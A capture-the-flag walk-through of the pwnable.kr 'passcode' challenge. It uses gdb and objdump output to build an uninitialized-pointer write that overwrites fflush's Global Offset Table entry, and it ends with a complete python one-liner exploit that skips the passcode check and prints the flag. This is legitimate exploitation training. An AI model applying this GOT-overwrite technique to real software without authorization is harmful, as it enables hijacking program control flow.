Pwnable.kr Passcode Walk-through

Pwnable.kr Passcode Walk-though

Here is a walk-through of the passcode challenge on Pwnable.kr.

After logging into the remote server, we can look at the C source. The authentication check seems pretty simple:

if (passcode1 == 338150 && passcode2 == 13371337) {
    printf("Login OK!\n");
    system("/bin/cat flag");
}

Therefore if we can put the correct magic numbers into the two passcode integers the flag will be printed. It can’t be that simple, can it? Let’s run the program and see:

> ./passcode
enter you name : matthew
Welcome matthew!
enter passcode1 : 338150
Segmentation fault

Clearly not. The program crashes even with reasonable inputs…

There is a clue in the challenge description that the C program produces compiler warnings. Let’s try compiling and see if that provides any insights. Running:

gcc passcode.c

fails to create an output file due to permissions, but does provide the following warnings:

passcode.c: In function ‘login’:
passcode.c:9:8: warning: format ‘%d’ expects argument of type ‘int *’, but argument 2 has type ‘int’ [-Wformat=]
  scanf("%d", passcode1);
        ^
passcode.c:14:15: warning: format ‘%d’ expects argument of type ‘int *’, but argument 2 has type ‘int’ [-Wformat=]
         scanf("%d", passcode2);
               ^

Well, here’s the cause of the segmentation fault. The passcodes are being written to arbitrary memory addresses. This suggests that if we could somehow control these memory addresses we could populate them with data of our choice.

Taking another look at the code we can see that the name input is 100 bytes long. It can’t be overflowed, however, due to the scanf format string. Nor is there a format string vulnerability in the subsequent printf:

char name[100];     
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);

OK then. Let’s just fill the buffer with 100 ‘A’s and use gdb to see what happens:

> python -c "from __future__ import print_function ; print('A'*100, end='')" > /tmp/pcex123
gdb -q passcode
(gdb) set disassembly intel
(gdb) b login
(gdb) run < /tmp/pcex123
(gdb) layout asm

The passcode addresses can be seen looking at the disassembly of the login function:

0x8048577 <login+19>    mov    eax,0x8048783
0x804857c <login+24>    mov    edx,DWORD PTR [ebp-0x10]
0x804857f <login+27>    mov    DWORD PTR [esp+0x4],edx
0x8048583 <login+31>    mov    DWORD PTR [esp],eax
0x8048586 <login+34>    call   0x80484a0 <__isoc99_scanf@plt>

and:

0x80485a5 <login+65>    mov    eax,0x8048783
0x80485aa <login+70>    mov    edx,DWORD PTR [ebp-0xc]
0x80485ad <login+73>    mov    DWORD PTR [esp+0x4],edx
0x80485b1 <login+77>    mov    DWORD PTR [esp],eax
0x80485b4 <login+80>    call   0x80484a0 <__isoc99_scanf@plt>

The only difference between these two blocks of code is the value placed onto the stack from edx. For passcode1 it’s the content of ebp-0x10 and for passcode2 it’s the content of ebp-0xc. The fact that these two stack addresses are only 4 bytes apart (the size of an int) corroborates that these are the passcodes.

Looking at the content of these addresses:

(gdb) x/x $ebp-0x10
0xff8e84d8:     0x41414141
(gdb) x/x $ebp-0xc
0xff8e84dc:     0xad1ce200

we can see that passcode1 has been written into with ‘A’s (0x41 is the ASCII hex value of ‘A’), but passcode2 has not.

So, we can manipulate the value of passcode1 but not passcode2. That suggests that we need to somehow bypass the expression in the if statement which checks the passcodes. We can’t patch the binary, though, since we don’t have permission and the text (code) segment is read-only. What we need is a way to modify data that controls the execution flow.

The Global Offset Table (GOT) holds memory addresses of functions in shared libraries which a process links to at runtime. Since the memory addresses of the shared functions are not known when the process is compiled, the GOT is updated during process start-up. This means it is writable by the process and a useful control point for us.

Helpfully (!) there is a library call to fflush right after the scanf for passcode1:

scanf("%d", passcode1);
fflush(stdin);

By running:

objdump -R passcode

we can see that the address of the GOT entry for fflush is 0x0804a004:

passcode:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
08049ff0 R_386_GLOB_DAT    __gmon_start__
0804a02c R_386_COPY        stdin@@GLIBC_2.0
0804a000 R_386_JUMP_SLOT   printf@GLIBC_2.0
0804a004 R_386_JUMP_SLOT   fflush@GLIBC_2.0 <----------------
0804a008 R_386_JUMP_SLOT   __stack_chk_fail@GLIBC_2.4
0804a00c R_386_JUMP_SLOT   puts@GLIBC_2.0
0804a010 R_386_JUMP_SLOT   system@GLIBC_2.0
0804a014 R_386_JUMP_SLOT   __gmon_start__
0804a018 R_386_JUMP_SLOT   exit@GLIBC_2.0
0804a01c R_386_JUMP_SLOT   __libc_start_main@GLIBC_2.0
0804a020 R_386_JUMP_SLOT   __isoc99_scanf@GLIBC_2.7

And looking at the disassembly of the login function with:

objdump -d -Mintel passcode

we can see that the address we want to write (to jump over the if check) is 0x080485e3, which is 134514147 in decimal:

...
80485e3:       c7 04 24 af 87 04 08    mov    DWORD PTR [esp],0x80487af
80485ea:       e8 71 fe ff ff          call   8048460 <system@plt>
...

Armed with those two addresses and taking into account that x86 is little-endian, let’s try out our exploit:

python -c "from __future__ import print_function ; print('A'*96 + '\x04\xa0\x04\x08' + '134514147', end='')" | ./passcode

And we capture the flag!

Written on June 12, 2017